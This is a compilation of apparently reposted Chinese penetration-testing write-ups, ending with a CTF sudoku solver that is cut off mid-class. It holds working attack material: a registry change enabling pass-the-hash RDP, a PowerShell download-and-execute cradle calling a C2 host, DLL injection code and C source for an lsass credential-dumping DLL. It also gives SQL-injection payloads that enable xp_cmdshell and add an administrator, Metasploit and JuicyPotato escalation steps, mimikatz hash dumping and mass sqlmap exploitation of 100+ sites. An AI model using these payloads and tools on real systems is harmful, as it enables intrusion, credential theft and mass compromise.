发现服务器开启3389端口,因为是system权限,且为2012系统,大于2008版本都是无法抓到明文密码,直接修改adminnistrator密码。(实战中不推荐直接修改管理员密码)

图片

图片

利用hash远程登录管理员账号
因为是win2012无法获取明文密码,直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。(并非同一台,这只是提供一个思路)

图片

使用hash远程登录RDP,需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启

图片

成功利用hash远程管理员桌面

图片

图片

04

0x03 其他

前期发现1433端口开放着,寻找数据库配置文件,登录数据库。

图片

通过fofa找了一下,资产还是挺多的,且很多都开放1433端口,猜测会存在同一个人部署的网站,尝试用获取的密码对这些资产的1433端口进行爆破,成功撞到几台数据库,且都是sa权限。结束。

图片



转载于原文链接: https://mp.weixin.qq.com/s/kj55hbZMC9jF6xmbzXWu4whttps://xz.aliyun.com/t/12501


0x00 前言

红蓝对抗无疑是一场持续性的博弈过程,随着近几年的攻防不断,打了一轮又一轮,web漏洞的急剧减少,社工钓鱼显然成为了主流的攻击手段之一。

图片

0x01 免责声明

请您务必认真阅读、充分理解下列条款内容:

1、本公众号分享的任何文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人用于非法活动。

2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。

3、如果您在使用本文相关工具及技术的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

4、严禁任何组织或个人使用本公众号的名义进行非法盈利。

5、本公众号的所有分享工具及技术文章,严禁不经过授权的公开分享。

如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。

0x02 常规操作走一遍

拿到靶标后 --> 资产收集 --> 找软柿子 --> 尝试打点

拿到靶标单位信息后,通过企查查查域名和企业架构,发现没有对外投资,只有一个上级单位总公司

图片

找子域,也没啥可用资产(virustotal.com,快速简便但不准确)


图片

通过qaxnb资产绘测平台来看看是否有可用信息,也是空空如也

图片

通过多点Ping,域名解析等操作来找真实IP,发现都是指向阿里云

图片

一套流程下来,除了一个打不动的官网(域名解析指向云,更没心情去深入挖掘了),没有任何可以打点的目标了

最终得出结论:软柿子竟是我自己

0x03 条条大路通罗马

web打不动,就不能走常规操作了,开始把矛头对准公众号,小程序

通过测移动端的应用,观察请求地址和回包内容,终于找到了真实IP地址,因此也得官网并没挂在云上

图片

通过IP进行全端口扫描,发现存在H3C网管设备,可以大概猜测出该IP为出口IP了

图片

通过扫描前后五个IP的全端口信息,喜出望外的发现了好几个应用系统,看着就像软柿子,感觉成功就在眼前了,马上就要一发入魂,直捣黄龙了,想想还有点小激动,嘿嘿嘿

结果,虽然存在一些漏洞,但还是一个都锤不动,getshell失败

果然,软柿子竟是我自己

但是,咱们做攻防的都是刚枪王,不到最后一秒是不会不放弃的,在渗透某系统的时候发现了一个大宝贝(在线人工一对一微信二维码 )

图片

0x04 我爱靶标客服

添加靶标客服后,我那激动的心,颤抖的手,无一都不暗示着我们俩之间会像是初恋那般的美好,干柴遇烈火,今晚指定得发生点什么,嘿嘿嘿

通过对话的时间间隔和回复的短短只言片语,不难看出,枉我一篇赤诚之心,她对我竟是敷衍。

但俗话说得好:”撑死胆大的,饿死胆小的”,我断定出她对我不够上心,故,我决定做个胆大的好男儿。

图片

果然,在我那一句:“你确定吗?你有真心对我吗?”,在两个“?”的攻势下,她果然回心转意了,点开了我的大宝贝。我也成功的进入了她们单位的内网。

图片

图片

0x05 细节定成败

通过搜集进程信息和端口信息,发现内网存在金山杀毒,访问发现版本为v9(上传已修复)

图片

细节来啦,在前面测公众号时,发现一处账户密码,便随手记录了下来

图片

分析规律后手动重组几个账户密码,拿来碰撞金山杀毒,又是一发入魂,精准打击,成功拿下

图片

古人云:”内网之,得集控者得天下“。至此,虽已足够让该单位内网沦陷,但还不够完美,总感觉还少了什么,所以还得继续冲

通过组装后的密码,拿下上文的H3C网络设备,发现我直接成为了网络管理员,清楚了所有的路由走向和网络策略,嘿嘿嘿

图片

细心的师傅其实已经发现了,内网还存在vmware(上诉某图片的webtitle),那肯定也不能放过她,是吧,嘿嘿嘿

通过历史漏洞成功拿下,发现部署了核心生产系统,但是居然历史漏洞都没补

图片

getshell --> 拿data.mdb --> 解密 --> 获取cookie --> 进后台

图片

其他都是一些零零碎碎的东西了,没啥技术含量,想必各位师傅也不喜欢,那么就到此为止吧,再打就不礼貌了

0x06 攻击路线

图片

0x07 最后的话

文章内容有不合理或者不理解的地方,欢迎评论,咱们共同交流共同进步

文章内容有不合法或者侵权的地方,欢迎指出,核实后将立马删除本文


转载于原文链接: https://mp.weixin.qq.com/s/cixtFPn__YPe1XtpcTE2Ow?scene=25#wechat_redirect

0 前言

实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。

《BumbleBee Roasts Its Way To Domain Admin》原文链接

1 第一天(Day1)

1.1 样本投递

看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下:

u50cm0tx24i14818.png

1.1.1 rundll32解析

使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell:

set srvhost 10.x.x.x
exploit

1uk1a2j53s114822.png

tbeppeql0rf14823.png

1.2 加载恶意程序大黄蜂(BumbleBee)

加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。

zask01qcwo314825.png

wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下:

BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄
    dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
    ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
    pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
    ::CloseHandle(hProcess);
    return TRUE;
}

1.3 被控主机信息收集

攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息:

#获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node"<redacted> process list brief #获取进程信息
net view \\<redacted>\Files$ /all #列远程服务器Files共享目录
dir \\<redacted>\c$\ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>

根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。

1.4 横向移动到服务器并继续收集信息

原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内):

"(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt

2 第二天(Day2)

2.1 在服务器上继续收集信息

攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。

3 第四天(Day4)

3.1 在被控主机上继续收集信息

攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

3.1.1 VulnRecon 解析

VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。

# 
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb

# command

vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt

hvrzojs110g14826.png

nc2lygjo4co14828.png

axrvk54uynf14831.png

看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。

### 3.2 获取lsass中的凭据

根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。

4 第七天(Day7)

4.1 在被控服务器上继续收集信息

攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。

"C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt

5 第十一天(Day11)

5.1 在被控主机上反弹shell

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)

然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8

# 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解

5.1.1 kerberoasting攻击解析

kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。

jxo3pqv5kvo14832.png

5.2 使用Minidump进行凭据提取

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full

5.2.1 Minidump解析

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。

4zpyfpo0wfv14834.png

编译和使用方式参考

5.3 在被控主机上继续信息收集

在初始被控主机上继续使用adfind收集信息。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

5.4 在初始被控机器上再次执行powershell,与之前的相同

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

以上过程在5.1中有详细描述不再赘述

5.5 在更多机器上信息收集

在更多机器上执行下列命令:

whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain 
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]

5.6 两个批处理脚本

攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。

# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log

5.7 最后

两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控



原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html

0x00  前言

我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程

0x01 登录框sql注入

看到登录框没什么好说的,先试试sqlmap一把梭

图片

burp抓包登录请求,保存到文件直接跑一下试试

python3 sqlmap.py -r "2.txt"

有盲注和堆叠注入

图片

看看能不能直接用sqlmap拿shell

python3 sqlmap.py -r "2.txt" --os-shell

目测不行

图片

 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell

Payload:

userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123

延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的)

图片

顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败)

userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123

nmap扫了一下,目标的3389是开着的,mstsc.exe直接连

没连上

图片

再跑一下os-shell,发现能跑绝对路径了,好兆头

图片

成功弹出shell

图片

因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode

图片

图片

生成的shellcode直接粘贴进os-shell里回车

图片

然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌

0x02 信息收集

tasklist看一下进程,有阿里云盾,有点难搞

图片

systeminfo看看有什么

阿里云的服务器,版本windows server 2008 R2打了75个补丁

图片

whoami一下,目测数据库被做过降权,nt service权限,非常低

图片

尝试传个ms-16-032的exp上去,直接上传失败

图片

到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF

0x03  利用frp到CS服务端联动MSF攻击

在CS上开一个监听器

图片

修改一下frp的配置文件

图片

保存配置文件后在frp文件夹下启动frp

./frpc -c frpc.ini

图片

打开msf开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run

这里可以看到MSF已经开启监听了

图片

回到CS,右键选一个主机增加一个会话

图片

选择刚创建好的监听器,choose

图片

回到msf,session啪的一下就弹回来了,很快啊

图片

我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限

图片

0x04 上传烂土豆EXP提权

在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理)

upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public

图片

CS翻一下目标机器的文件,发现成功上传

图片

然后进目标机器的这个文件夹下开始准备提权

cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"

图片

最后检查一下是否提权成功

图片

0x05 mimikatz抓取密码hash

先提个权

getsystem

图片

试试能不能直接dump出来

图片

不行,只好用mimikatz了

load mimikatz

然后抓取密码哈希

mimikatz_command -f samdump::hashes

图片

也可以用MSF自带的模块(这个比mimikatz慢一点)

run post/windows/gather/smart_hashdump

图片

然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面

图片

0x06 信息收集扩大攻击范围

成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击.

@crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点

图片

但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名

图片

在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求

python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell

最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机

图片

0x07 进后台逛逛

用数据库里查出来的管理员账号密码登录网站后台看一看

20个人充值了80多万

图片


图片

图片


还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程!

图片

劝大家远离赌博,也希望陷进去的赌徒回头是岸!






转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect

一、MISC

1.sudoku_easy

简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目

image-20230610185716309

将形如

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次

最终脚本:

def find_empty(board):

    for row in range(9):

        for col in range(9):

            if board[row][col] == 0:

                return row, col

    return None

 

 

def is_valid(board, num, pos):

    row, col = pos

    for i in range(9):

        if board[row][i] == num and col != i:

            return False

        if board[i][col] == num and row != i:

            return False

 

    box_row = row // 3

    box_col = col // 3

 

    for i in range(box_row * 3, box_row * 3 + 3):

        for j in range(box_col * 3, box_col * 3 + 3):

            if board[i][j] == num and (i, j) != pos:

                return False

 

    return True

 

 

def solve(board):

    find = find_empty(board)

    if not find:

        return True

    else:

        row, col = find

 

    for i in range(1, 10):

        if is_valid(board, i, (row, col)):

            board[row][col] = i

 

            if solve(board):

                return True

 

            board[row][col] = 0

 

    return False

 

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

 

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

 

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

 

from pwn import *

 

# 创建连接

conn = remote('47.108.165.60',27539)

 

# 接收欢迎信息

for i in range(7):

    msg = conn.recvuntil("Please input:").strip().decode("utf-8")

    print(msg)

    # 发送选择

    conn.sendline('1'.encode())

 

    # 接收下一步提示

    msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

    print(msg)

 

    conn.sendline('5'.encode())

 

    msg = conn.recvuntil("clock start").strip().decode("utf-8")

    print(msg)

    time.sleep(5)

 

    msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

    print(msg)

    lists = msg.split('\n')[1:10]

    board = parse_input(lists)

    solve(board)

    solved = format_output(board)

    conn.sendline(solved.encode())

 

conn.interactive()

或者

 

from pwn import *


def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True


def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过,没有找到合适的数字
    return True


def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()



context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本:
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
